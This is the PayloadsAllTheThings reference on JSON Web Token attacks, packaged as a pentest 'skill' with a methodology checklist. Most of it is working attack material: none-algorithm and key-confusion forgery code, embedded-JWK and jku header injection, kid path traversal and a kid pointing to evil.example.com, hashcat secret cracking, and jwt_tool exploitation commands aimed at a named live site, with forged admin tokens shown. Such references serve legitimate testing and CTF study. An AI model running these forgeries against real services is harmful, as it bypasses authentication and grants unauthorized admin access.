Source: PayloadsAllTheThings/JSON Web Token Category:

payloads-web

| Skill ID:

payloads-jwt

• Identify the target technology stack and injection points
• Enumerate endpoints, parameters, and input vectors
• Determine applicable payload categories from the reference below

• Browse the PATT payload library for the attack class
• Select encoding-appropriate payloads for the target environment
• Consider WAF bypass variants and obfuscation techniques

• Test payloads in order: passive → active → escalation
• Document every payload tested and its response
• Capture PoC evidence (screenshots, HTTP logs, curl output)

• Confirm the vulnerability with a clean minimal PoC
• Map findings to CVE/CWE where applicable
• Report with remediation recommendations and code fixes

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.

• Tools
• JWT Format
  • Header
  • Payload
• JWT Signature
  • JWT Signature - Null Signature Attack (CVE-2020-28042)
  • JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
  • JWT Signature - None Algorithm (CVE-2015-9235)
  • JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
  • JWT Signature - Key Injection Attack (CVE-2018-0114)
  • JWT Signature - Recover Public Key From Signed JWTs
• JWT Secret
  • Encode and Decode JWT with the secret
  • Break JWT secret
• JWT Claims
  • JWT kid Claim Misuse
  • JWKS - jku header injection
• Labs
• References

• ticarpi/jwt_tool - 🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens
• brendan-rius/c-jwt-cracker - JWT brute force cracker written in C
• PortSwigger/JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper
• jwt.io - Encoder/Decoder

{
    "sub":"1234567890",
    "name":"Amazing Haxx0r",
    "exp":"1466270722",
    "admin":true
}

• iss: issuer of the token
• exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
• iat: The time the JWT was issued. Can be used to determine the age of the JWT
• nbf: "not before" is a future time when the token will become active.
• jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
• sub: subject of the token (rarely used)
• aud: audience of the token (also rarely used)

python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3

• jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61
• CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT

Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=

None

• none

• None

• NONE

• nOnE

• Using ticarpi/jwt_tool
  ps1

  python3 jwt_tool.py [JWT_HERE] -X a

• Manually editing the JWT
  python

  import jwt
  
  jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
  decodedToken = jwt.decode(jwtToken, verify=False)       
  
  # decode the token before encoding with type 'None'
  noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
  
  print(noneEncoded.decode())

openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

pip install pyjwt==0.4.3

• Using ticarpi/jwt_tool
  ps1

  python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem

• Using portswigger/JWT Editor
  1. Find the public key, usually in

     /jwks.json

     or

     /.well-known/jwks.json

  2. Load it in the JWT Editor Keys tab, click

     New RSA Key

     .
  3. . In the dialog, paste the JWK that you obtained earlier:

     {"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}

  4. Select the PEM radio button and copy the resulting PEM key.
  5. Go to the Decoder tab and Base64-encode the PEM.
  6. Go back to the JWT Editor Keys tab and generate a

     New Symmetric Key

     in JWK format.
  7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
  8. Edit the JWT token alg to

     HS256

     and the data.
  9. Click

     Sign

     and keep the option:

     Don't modify header

• Manually using the following steps to edit an RS256 JWT token into an HS256
  1. Convert our public key (key.pem) into HEX with this command.
     powershell

     $ cat key.pem | xxd -p | tr -d "\\n"
     2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

  2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
     powershell

     $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
     
     (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0

  3. Convert signature (Hex to "base64 URL")
     powershell

     python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"

  4. Add signature to edited payload
     powershell

     [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
     eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA

A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

• Using ticarpi/jwt_tool
  ps1

  python3 jwt_tool.py [JWT_HERE] -X i

• Using portswigger/JWT Editor
  1. Add a

     New RSA key

  2. In the JWT's Repeater tab, edit data

  3. Attack

     >

     Embedded JWK

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "kid": "jwt_tool",
    "use": "sig",
    "e": "AQAB",
    "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
  }
}.
{"login":"admin"}.
[Signed with new Private key; Public key injected]

To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.

• Using ticarpi/jwt_tool:
  ps1

  jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
  jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
  
  Token header values:
  [+] alg = "HS256"
  [+] typ = "JWT"
  
  Token payload values:
  [+] name = "John Doe"

• Using pyjwt:

  pip install pyjwt

  python

  import jwt
  encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
  jwt.decode(encoded, 'secret', algorithms=['HS256']) 

python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C

Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step

Please select a field number (or 0 to Continue):
> 0

Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file

Please select an option from above (1-4):
> 1

Please enter the known key:
> secret

Please enter the key length:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic

• Recon:

  python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw

• Scanning:

  python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb

• Exploitation:

  python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin

• Fuzzing:

  python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt

• Review:

  python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin

Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src

• Dictionary attack:

  hashcat -a 0 -m 16500 jwt.txt wordlist.txt

• Rule-based attack:

  hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule

• Brute force attack:

  hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6

• Example #1 : Local file
  json

  {
  "alg": "HS256",
  "typ": "JWT",
  "kid": "/root/res/keys/secret.key"
  }

• Example #2 : Remote file
  json

  {
      "alg":"RS256",
      "typ":"JWT",
      "kid":"http://localhost:7070/privKey.key"
  }

// Example for HS256
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  your-256-bit-secret-from-secret.key
)

• Get the key content to change the payload
• Change the key path to force your own
  py

  >>> jwt.encode(
  ...     {"some": "payload"},
  ...     "secret",
  ...     algorithm="HS256",
  ...     headers={"kid": "http://evil.example.com/custom.key"},
  ... )

• Change the key path to a file with a predictable content.
  ps1

  python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
  python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"

• Modify the kid header to attempt SQL and Command Injections

• /jwks.json

• /.well-known/jwks.json

• /openid/connect/jwks.json

• /api/keys

• /api/v1/keys

• /{tenant}/oauth2/v1/certs

{
    "keys": [
        {
            "kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
            "kty": "RSA",
            "e": "AQAB",
            "n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
        }
    ]
}

• Using ticarpi/jwt_tool
  ps1

  python3 jwt_tool.py JWT_HERE -X s
  python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json

• Using portswigger/JWT Editor
  1. Generate a new RSA key and host it
  2. Edit JWT's data
  3. Replace the

     kid

     header with the one from your JWKS
  4. Add a

     jku

     header and sign the JWT (

     Don't modify header

     option should be checked)

{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
{"login":"admin"}.
[Signed with new Private key; Public key exported]

• PortSwigger - JWT authentication bypass via unverified signature
• PortSwigger - JWT authentication bypass via flawed signature verification
• PortSwigger - JWT authentication bypass via weak signing key
• PortSwigger - JWT authentication bypass via jwk header injection
• PortSwigger - JWT authentication bypass via jku header injection
• PortSwigger - JWT authentication bypass via kid header path traversal
• Root Me - JWT - Introduction
• Root Me - JWT - Revoked token
• Root Me - JWT - Weak secret
• Root Me - JWT - Unsecure File Signature
• Root Me - JWT - Public key
• Root Me - JWT - Header Injection
• Root Me - JWT - Unsecure Key Handling

• 5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019
• Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016
• Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023
• Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015
• Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018
• Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify - February 9, 2017
• Hacking JSON Web Tokens - Vickie Li - October 27, 2019
• HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017
• How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017
• JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020
• JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022
• JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017
• Learn how to use JSON Web Tokens (JWT) for Authentication - dwyl - May 3, 2022
• Privilege Escalation like a Boss - janijay007 - October 27, 2018
• Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019
• WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016
• Write up – JRR Token – LeHack 2019 - Laphaze - July 7, 2019

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.